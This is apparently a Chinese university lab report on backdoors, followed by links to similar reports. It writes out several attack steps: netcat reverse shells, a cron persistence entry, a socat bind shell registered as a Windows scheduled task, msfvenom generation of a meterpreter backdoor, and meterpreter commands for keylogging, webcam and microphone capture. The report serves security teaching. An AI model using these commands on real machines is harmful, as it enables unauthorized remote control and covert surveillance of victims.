20145317彭垚《网络对抗》Exp2 后门原理与实践

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    • 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中;
  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    • Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;
    • 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动;
    • Linux下可以通过cron来启动。
  3. Meterpreter有哪些给你映像深刻的功能?
    • 直接通过指令获取主机的摄像头有点6,有点像电影里的黑客;
    • 获取击键记录也能得到很多信息,比如登录什么网站的密码,或者说和某人的重要聊天记录之类的,都非常容易被人窃取到进行分析;
    • 导出密码文件功能简直是有点无解,这样一来你的电脑相当于是透明的;。
  4. 如何发现自己有系统有没有被安装后门?
    • 没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;

常用后门工具实践

Windows获得Linux Shell

  1. 在Windows下,先使用ipconfig指令查看本机IP:

  2. 使用ncat.exe程序监听本机的5317端口:

  3. 在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5317端口:

  4. Windows下成功获得了一个Kali的shell,运行ls指令如下:

Linux获得Windows Shell

  1. 过程与之前的类似,在Kali环境下用ifconfig查看IP:

  2. 使用nc指令监听5317端口:

  3. 在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5317端口:

  4. Kali下可以看到Windows的命令提示,可以输入Windows命令:

使用nc传输数据

  1. Windows下监听5317端口:

  2. Kali下连接到Windows的5317端口:

  3. 建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:

实验内容

使用netcat获取主机操作Shell,cron启动

  1. 先在Windows系统下,监听5317端口:

  2. 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  3. crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

  4. 在最后一行添加18 * * * * /bin/netcat 192.168.1.110 5317 -e /bin/sh,意思是在每个小时的第18分钟反向连接Windows主机的5317端口:

  5. 当时间到了,此时已经获得了Kali的shell,可以输入指令:

使用socat获取主机操作Shell, 任务计划启动

基础知识

  1. socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
  2. socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

  1. 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

  2. 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5215,同时把cmd.exe的stderr重定向到stdout上:

  3. 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

  4. 此时,在Kali环境下输入指令socat - tcp:192.168.1.110:5317,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5215端口,此时可以发现已经成功获得了一个cmd shell:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=5317 -f exe > 20145317_backdoor.exe生成后门程序:

  2. 通过nc指令将生成的后门程序传送到Windows主机上:

  3. 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

  4. 设置完成后,执行监听:

  5. 打开Windows上的后门程序:

  6. 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 使用record_mic指令可以截获一段音频:

  2. 使用webcam_snap指令可以使用摄像头进行拍照:

  3. 使用webcam stream指令可以使用摄像头进行录像:

  4. 使用screenshot指令可以进行截屏:

  5. 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

实验总结与体会

感觉这次实践比上次还有趣,尤其是后门被激活后,meterpreter的功能一经展示出来,简直被震惊。如果未开启防火墙,或防火墙不够高级,所谓监听、隐秘偷拍竟然是这么轻而易举的事情。

20145317彭垚《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  5. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  6. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  9. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

随机推荐

  1. PL/SQL常用表达式及举例(一)

    IF 判断条件 THEN 满足条件时执行语句 END IF; DECLARE v_countResult NUMBER; BEGIN SELECT COUNT(empno) INTO v_countR ...

  2. gulp自动化部署:gulp发布express项目(二)

    原文:https://my.oschina.net/songzhu/blog/610337 一.服务器准备 服务器ip地址为:172.16.70.174 1.安装 Node.js 参考:http:// ...

  3. LINUX的前后台程序查看切换

    1.在Linux终端运行命令的时候,在命令末尾加上 & 符号,就可以让程序在后台运行 root@Ubuntu$ ./tcpserv01 & 2.如果程序正在前台运行,可以使用 Ctrl ...

  4. sql批量修改wordpress网站的文章发布状态

    wordpress批量导入文章的时候,有些文章的状态可能会缺失,例如“mis scheduled”.draft.future等几种状态,如何用sql批量修改wordpress网站的文章发布状态呢? 点 ...

  5. 为帝国cms模板添加站内搜索小教程

    由于客户的需要,最近都在整帝国cms,很多东西还是不熟悉,特别是帝国cms模板,以前用的那些网站模板一般是保存在ftp文件中,而帝国cms模板是直接保存在数据库中,修改是在网站后台的模板管理,得慢慢适 ...

  6. 在系统启动时,Windows Vista 中、 在 Windows 7 中,Windows Server 2008 中和在 Windows Server 2008 R2 中的 497 天后未关闭 TIME_WAIT 状态的所有 TCP/IP 端口

    在系统启动时,Windows Vista 中. 在 Windows 7 中,Windows Server 2008 中和在 Windows Server 2008 R2 中的 497 天后未关闭 TI ...

  7. MyEclipse中jquery.js文件报missing semicolon的错误解决

    myeclipse的验证问题不影响jquery的应用,如果看着别扭,解决办法如下:选中你想去掉的js文件:右键选择 MyEclipse-->Exclude From Validation :然后 ...

  8. Unity 脚本的执行顺序

    在Unity脚本中常用到的函数就是下面这些,他们的顺序也是按照箭头的方向执行的. Awake ->OnEable-> Start -> FixedUpdate-> Update ...

  9. Python随机数生成方法

    假设你对在Python生成随机数与random模块中最经常使用的几个函数的关系与不懂之处.以下的文章就是对Python生成随机数与random模块中最经常使用的几个函数的关系,希望你会有所收获,以下就 ...

  10. etcd 集群部署

    etcd web管理 https://nikfoundas.github.io/etcd-viewer/ # git clone https://github.com/nikfoundas/etcd- ...